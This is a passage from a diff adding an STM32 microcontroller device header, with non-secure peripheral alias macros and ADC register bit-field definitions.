+#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define OCTOSPI2 OCTOSPI2_NS +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_NS + +#define OCTOSPIM OCTOSPIM_NS +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_SDMMC2 DLYB_SDMMC2_NS +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_NS +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_NS + +#define HSPI1 HSPI1_NS +#define HSPI1_R_BASE HSPI1_R_BASE_NS + +#define USB_OTG_HS USB_OTG_HS_NS +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_NS + +#define MDF1 MDF1_NS +#define MDF1_BASE MDF1_BASE_NS + +#define MDF1_Filter0 MDF1_Filter0_NS +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_NS + +#define MDF1_Filter1 MDF1_Filter1_NS +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_NS + +#define MDF1_Filter2 MDF1_Filter2_NS +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_NS + +#define MDF1_Filter3 MDF1_Filter3_NS +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_NS + +#define MDF1_Filter4 MDF1_Filter4_NS +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_NS + +#define MDF1_Filter5 MDF1_Filter5_NS +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_NS + +#define ADF1 ADF1_NS +#define ADF1_BASE ADF1_BASE_NS + +#define ADF1_Filter0 ADF1_Filter0_NS +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_NS +#define GFXMMU GFXMMU_NS +#define GFXMMU_BASE GFXMMU_BASE_NS +/* GFXMMU virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE GFXMMU_VIRTUAL_BUFFERS_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER0_BASE GFXMMU_VIRTUAL_BUFFER0_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER1_BASE GFXMMU_VIRTUAL_BUFFER1_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER2_BASE GFXMMU_VIRTUAL_BUFFER2_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER3_BASE GFXMMU_VIRTUAL_BUFFER3_BASE_NS + +#define GPU2D GPU2D_BASE_NS + +#define LTDC LTDC_NS +#define LTDC_BASE LTDC_BASE_NS + +#define LTDC_Layer1 LTDC_Layer1_NS +#define LTDC_Layer1_BASE LTDC_Layer1_BASE_NS + +#define LTDC_Layer2 LTDC_Layer2_NS +#define LTDC_Layer2_BASE LTDC_Layer2_BASE_NS + +#define DSI DSI_NS +#define DSI_BASE DSI_BASE_NS + +#define REFBIAS REFBIAS_NS +#define REFBIAS_BASE REFBIAS_BASE_NS + +#define DPHY DPHY_NS +#define DPHY_BASE DPHY_BASE_NS + +#define JPEG JPEG_NS +#define JPEG_BASE JPEG_BASE_NS + +#define GFXTIM GFXTIM_NS +#define GFXTIM_BASE GFXTIM_BASE_NS +#endif + +/** @addtogroup Hardware_Constant_Definition + * @{ + */ +#define LSI_STARTUP_TIME 260U /*!< LSI Maximum startup time in us */ + +/** + * @} + */ + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************************* ADC VERSION ********************************/ +#define ADC_VER_V5_X +#define ADC_MULTIMODE_SUPPORT +/******************** Bit definition for ADC_ISR register ********************/ +#define ADC_ISR_ADRDY_Pos (0UL) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC Ready (ADRDY) flag */ +#define ADC_ISR_EOSMP_Pos (1UL) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC End of Sampling flag */ +#define ADC_ISR_EOC_Pos (2UL) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC End of Regular Conversion flag */ +#define ADC_ISR_EOS_Pos (3UL) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC End of Regular sequence of Conversions flag */ +#define ADC_ISR_OVR_Pos (4UL) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC overrun flag */ +#define ADC_ISR_JEOC_Pos (5UL) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC End of Injected Conversion flag */ +#define ADC_ISR_JEOS_Pos (6UL) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC End of Injected sequence of Conversions flag */ +#define ADC_ISR_AWD1_Pos (7UL) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC Analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8UL) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC Analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9UL) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC Analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10UL) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC Injected Context Queue Overflow flag */ +#define ADC_ISR_EOCAL_Pos (11UL) +#define ADC_ISR_EOCAL_Msk (0x1UL << ADC_ISR_EOCAL_Pos) /*!< 0x00000800 */ +#define ADC_ISR_EOCAL ADC_ISR_EOCAL_Msk /*!< ADC End of Calibration flag */ +#define ADC_ISR_LDORDY_Pos (12UL) +#define ADC_ISR_LDORDY_Msk (0x1UL << ADC_ISR_LDORDY_Pos) /*!< 0x00001000 */ +#define ADC_ISR_LDORDY ADC_ISR_LDORDY_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_IER register ********************/ +#define ADC_IER_ADRDYIE_Pos (0UL) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC Ready (ADRDY) interrupt source */ +#define ADC_IER_EOSMPIE_Pos (1UL) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC End of Sampling interrupt source */ +#define ADC_IER_EOCIE_Pos (2UL) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC End of Regular Conversion interrupt source */ +#define ADC_IER_EOSIE_Pos (3UL) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC End of Regular sequence of Conversions interrupt source */ +#define ADC_IER_OVRIE_Pos (4UL) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC overrun interrupt source */ +#define ADC_IER_JEOCIE_Pos (5UL) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC End of Injected Conversion interrupt source */ +#define ADC_IER_JEOSIE_Pos (6UL) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC End of Injected sequence of Conversions interrupt source */ +#define ADC_IER_AWD1IE_Pos (7UL) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC Analog watchdog 1 interrupt source */ +#define ADC_IER_AWD2IE_Pos (8UL) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC Analog watchdog 2 interrupt source */ +#define ADC_IER_AWD3IE_Pos (9UL) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC Analog watchdog 3 interrupt source */ +#define ADC_IER_JQOVFIE_Pos (10UL) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC Injected Context Queue Overflow interrupt source */ +#define ADC_IER_EOCALIE_Pos (11UL) +#define ADC_IER_EOCALIE_Msk (0x1UL << ADC_IER_EOCALIE_Pos) /*!< 0x00000800 */ +#define ADC_IER_EOCALIE ADC_IER_EOCALIE_Msk /*!< ADC End of Calibration Enable */ +#define ADC_IER_LDORDYIE_Pos (12UL) +#define ADC_IER_LDORDYIE_Msk (0x1UL << ADC_IER_LDORDYIE_Pos) /*!< 0x00001000 */ +#define ADC_IER_LDORDYIE ADC_IER_LDORDYIE_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0UL) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC Enable control */ +#define ADC_CR_ADDIS_Pos (1UL) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC Disable command */ +#define ADC_CR_ADSTART_Pos (2UL) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC Start of Regular conversion */ +#define ADC_CR_JADSTART_Pos (3UL) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC Start of injected conversion */ +#define ADC_CR_ADSTP_Pos (4UL) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC Stop of Regular conversion */ +#define ADC_CR_JADSTP_Pos (5UL) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC Stop of injected conversion */ +#define ADC_CR_ADCALLIN_Pos (16UL) +#define ADC_CR_ADCALLIN_Msk (0x1UL << ADC_CR_ADCALLIN_Pos) /*!< 0x00010000 */ +#define ADC_CR_ADCALLIN ADC_CR_ADCALLIN_Msk /*!< ADC Linearity calibration */ + +#define ADC_CR_CALINDEX_Pos (24UL) +#define ADC_CR_CALINDEX_Msk (0xFUL << ADC_CR_CALINDEX_Pos) /*!< 0x0F000000 */ +#define ADC_CR_CALINDEX ADC_CR_CALINDEX_Msk /*!< ADC calibration factor selection */ +#define ADC_CR_CALINDEX0_Pos (24UL) +#define ADC_CR_CALINDEX0_Msk (0x1UL << ADC_CR_CALINDEX0_Pos) /*!< 0x01000000 */ +#define ADC_CR_CALINDEX0 ADC_CR_CALINDEX0_Msk /*!< ADC calibration factor selection (bit 0) */ +#define ADC_CR_CALINDEX1_Pos (25UL) +#define ADC_CR_CALINDEX1_Msk (0x1UL << ADC_CR_CALINDEX1_Pos) /*!< 0x02000000 */ +#define ADC_CR_CALINDEX1 ADC_CR_CALINDEX1_Msk /*!< ADC calibration factor selection (bit 1) */ +#define ADC_CR_CALINDEX2_Pos (26UL) +#define ADC_CR_CALINDEX2_Msk (0x1UL << ADC_CR_CALINDEX2_Pos) /*!< 0x04000000 */ +#define ADC_CR_CALINDEX2 ADC_CR_CALINDEX2_Msk /*!< ADC calibration factor selection (bit 2) */ +#define ADC_CR_CALINDEX3_Pos (27UL) +#define ADC_CR_CALINDEX3_Msk (0x1UL << ADC_CR_CALINDEX3_Pos) /*!< 0x08000000 */ +#define ADC_CR_CALINDEX3 ADC_CR_CALINDEX3_Msk /*!< ADC calibration factor selection (bit 3) */ +#define ADC_CR_ADVREGEN_Pos (28UL) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC Voltage regulator Enable */ +#define ADC_CR_DEEPPWD_Pos (29UL) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC Deep power down Enable */ +#define ADC_CR_ADCAL_Pos (31UL) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC Calibration */ + +/******************** Bit definition for ADC_CFGR register ********************/ +#define ADC_CFGR1_DMNGT_Pos (0UL) +#define ADC_CFGR1_DMNGT_Msk (0x3UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000003 */ +#define ADC_CFGR1_DMNGT ADC_CFGR1_DMNGT_Msk /*!< ADC Data Management configuration */ +#define ADC_CFGR1_DMNGT_0 (0x1UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000001 */ +#define ADC_CFGR1_DMNGT_1 (0x2UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000002 */ + +#define ADC_CFGR1_RES_Pos (2UL) +#define ADC_CFGR1_RES_Msk (0x3UL << ADC_CFGR1_RES_Pos) /*!< 0x0000000C */ +#define ADC_CFGR1_RES ADC_CFGR1_RES_Msk /*!< ADC Data resolution */ +#define ADC_CFGR1_RES_0 (0x1UL << ADC_CFGR1_RES_Pos) /*!< 0x00000004 */ +#define ADC_CFGR1_RES_1 (0x2UL << ADC_CFGR1_RES_Pos) /*!< 0x00000008 */ + +#define ADC4_CFGR1_DMAEN_Pos (0UL) +#define ADC4_CFGR1_DMAEN_Msk (0x1UL << ADC4_CFGR1_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC4_CFGR1_DMAEN ADC4_CFGR1_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC4_CFGR1_DMACFG_Pos (1UL) +#define ADC4_CFGR1_DMACFG_Msk (0x1UL << ADC4_CFGR1_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC4_CFGR1_DMACFG ADC4_CFGR1_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC4_CFGR1_SCANDIR_Pos (4UL) +#define ADC4_CFGR1_SCANDIR_Msk (0x1UL << ADC4_CFGR1_SCANDIR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR1_SCANDIR ADC4_CFGR1_SCANDIR_Msk /*!< ADC group regular sequencer scan direction */ + +#define ADC4_CFGR1_ALIGN_Pos (5UL) +#define ADC4_CFGR1_ALIGN_Msk (0x1UL << ADC4_CFGR1_ALIGN_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_ALIGN ADC4_CFGR1_ALIGN_Msk /*!< ADC data alignment */ + +#define ADC_CFGR1_EXTSEL_Pos (5UL) +#define ADC_CFGR1_EXTSEL_Msk (0x1FUL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR1_EXTSEL ADC_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC_CFGR1_EXTSEL_0 (0x01UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR1_EXTSEL_1 (0x02UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR1_EXTSEL_2 (0x04UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR1_EXTSEL_3 (0x08UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR1_EXTSEL_4 (0x10UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR1_EXTEN_Pos (10UL) +#define ADC_CFGR1_EXTEN_Msk (0x3UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR1_EXTEN ADC_CFGR1_EXTEN_Msk /*!< ADC External trigger enable and polarity selection for regular channels */ +#define ADC_CFGR1_EXTEN_0 (0x1UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR1_EXTEN_1 (0x2UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR1_OVRMOD_Pos (12UL) +#define ADC_CFGR1_OVRMOD_Msk (0x1UL << ADC_CFGR1_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR1_OVRMOD ADC_CFGR1_OVRMOD_Msk /*!< ADC overrun mode */ +#define ADC_CFGR1_CONT_Pos (13UL) +#define ADC_CFGR1_CONT_Msk (0x1UL << ADC_CFGR1_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR1_CONT ADC_CFGR1_CONT_Msk /*!< ADC Single/continuous conversion mode for regular conversion */ + +#define ADC_CFGR1_AUTDLY_Pos (14UL) +#define ADC_CFGR1_AUTDLY_Msk (0x1UL << ADC_CFGR1_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR1_AUTDLY ADC_CFGR1_AUTDLY_Msk /*!< ADC Delayed conversion mode */ + +#define ADC4_CFGR1_WAIT_Pos (14UL) +#define ADC4_CFGR1_WAIT_Msk (0x1UL << ADC4_CFGR1_WAIT_Pos) /*!< 0x00004000 */ +#define ADC4_CFGR1_WAIT ADC4_CFGR1_WAIT_Msk /*!< ADC Delayed conversion mode */ + +#define ADC_CFGR1_DISCEN_Pos (16UL) +#define ADC_CFGR1_DISCEN_Msk (0x1UL << ADC_CFGR1_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR1_DISCEN ADC_CFGR1_DISCEN_Msk /*!< ADC Discontinuous mode for regular channels */ + +#define ADC_CFGR1_DISCNUM_Pos (17UL) +#define ADC_CFGR1_DISCNUM_Msk (0x7UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR1_DISCNUM ADC_CFGR1_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ +#define ADC_CFGR1_DISCNUM_0 (0x1UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR1_DISCNUM_1 (0x2UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR1_DISCNUM_2 (0x4UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR1_JDISCEN_Pos (20UL) +#define ADC_CFGR1_JDISCEN_Msk (0x1UL << ADC_CFGR1_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR1_JDISCEN ADC_CFGR1_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ + +#define ADC_CFGR1_AWD1SGL_Pos (22UL) +#define ADC_CFGR1_AWD1SGL_Msk (0x1UL << ADC_CFGR1_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR1_AWD1SGL ADC_CFGR1_AWD1SGL_Msk /*!< Enable the watchdog 1 on a single channel or on all channels */ +#define ADC_CFGR1_AWD1EN_Pos (23UL) +#define ADC_CFGR1_AWD1EN_Msk (0x1UL << ADC_CFGR1_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR1_AWD1EN ADC_CFGR1_AWD1EN_Msk /*!< ADC Analog watchdog 1 enable on regular Channels */ +#define ADC_CFGR1_JAWD1EN_Pos (24UL) +#define ADC_CFGR1_JAWD1EN_Msk (0x1UL << ADC_CFGR1_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR1_JAWD1EN ADC_CFGR1_JAWD1EN_Msk /*!< ADC Analog watchdog 1 enable on injected Channels */ +#define ADC_CFGR1_JAUTO_Pos (25UL) +#define ADC_CFGR1_JAUTO_Msk (0x1UL << ADC_CFGR1_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR1_JAUTO ADC_CFGR1_JAUTO_Msk /*!< ADC Automatic injected group conversion */ + +/* Specific ADC4 */ +#define ADC4_CFGR1_EXTSEL_Pos (6UL) +#define ADC4_CFGR1_EXTSEL_Msk (0x7UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC4_CFGR1_EXTSEL ADC4_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC4_CFGR1_EXTSEL_0 (0x01UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_EXTSEL_1 (0x02UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC4_CFGR1_EXTSEL_2 (0x04UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ + +#define ADC4_CFGR1_CHSELRMOD_Pos (21UL) +#define ADC4_CFGR1_CHSELRMOD_Msk (0x1UL << ADC4_CFGR1_CHSELRMOD_Pos) /*!< 0x00200000 */ +#define ADC4_CFGR1_CHSELRMOD ADC4_CFGR1_CHSELRMOD_Msk /*!< ADC JSQR Queue mode */ + +#define ADC_CFGR1_AWD1CH_Pos (26UL) +#define ADC_CFGR1_AWD1CH_Msk (0x1FUL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR1_AWD1CH ADC_CFGR1_AWD1CH_Msk /*!< ADC Analog watchdog 1 Channel selection */ +#define ADC_CFGR1_AWD1CH_0 (0x01UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR1_AWD1CH_1 (0x02UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR1_AWD1CH_2 (0x04UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR1_AWD1CH_3 (0x08UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR1_AWD1CH_4 (0x10UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_CFGR2 register ********************/ +#define ADC_CFGR2_ROVSE_Pos (0UL) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC Regular group oversampler enable */ +#define ADC_CFGR2_JOVSE_Pos (1UL) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC Injected group oversampler enable */ + +#define ADC_CFGR2_OVSS_Pos (5UL) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC Regular Oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9UL) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC Triggered regular Oversampling */ +#define ADC_CFGR2_ROVSM_Pos (10UL) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC Regular oversampling mode */ + +#define ADC_CFGR2_OVSR_Pos (16UL) +#define ADC_CFGR2_OVSR_Msk (0x3FFUL << ADC_CFGR2_OVSR_Pos) /*!< 0x03FF0000 */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling Ratio */ +#define ADC_CFGR2_OVSR_0 (0x001UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_OVSR_1 (0x002UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00020000 */ +#define ADC_CFGR2_OVSR_2 (0x004UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00040000 */ +#define ADC_CFGR2_OVSR_3 (0x008UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00080000 */ +#define ADC_CFGR2_OVSR_4 (0x010UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00100000 */ +#define ADC_CFGR2_OVSR_5 (0x020UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00200000 */ +#define ADC_CFGR2_OVSR_6 (0x040UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00400000 */ +#define ADC_CFGR2_OVSR_7 (0x080UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00800000 */ +#define ADC_CFGR2_OVSR_8 (0x100UL << ADC_CFGR2_OVSR_Pos) /*!< 0x01000000 */ +#define ADC_CFGR2_OVSR_9 (0x200UL << ADC_CFGR2_OVSR_Pos) /*!< 0x02000000 */ + +#define ADC_CFGR2_BULB_Pos (13UL) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x00002000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ + +#define ADC_CFGR2_SWTRIG_Pos (14UL) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x00004000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software trigger bit for sampling time control trigger mode */ + +#define ADC_CFGR2_SMPTRIG_Pos (15UL) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x00008000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sampling time control trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (27UL) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC low frequency trigger mode */ + +#define ADC_CFGR2_LSHIFT_Pos (28UL) +#define ADC_CFGR2_LSHIFT_Msk (0xFUL << ADC_CFGR2_LSHIFT_Pos) /*!< 0xF0000000 */ +#define ADC_CFGR2_LSHIFT ADC_CFGR2_LSHIFT_Msk /*!< ADC Left shift factor */ +#define ADC_CFGR2_LSHIFT_0 (0x1UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x10000000 */ +#define ADC_CFGR2_LSHIFT_1 (0x2UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LSHIFT_2 (0x4UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x40000000 */ +#define ADC_CFGR2_LSHIFT_3 (0x8UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x80000000 */ + +/* 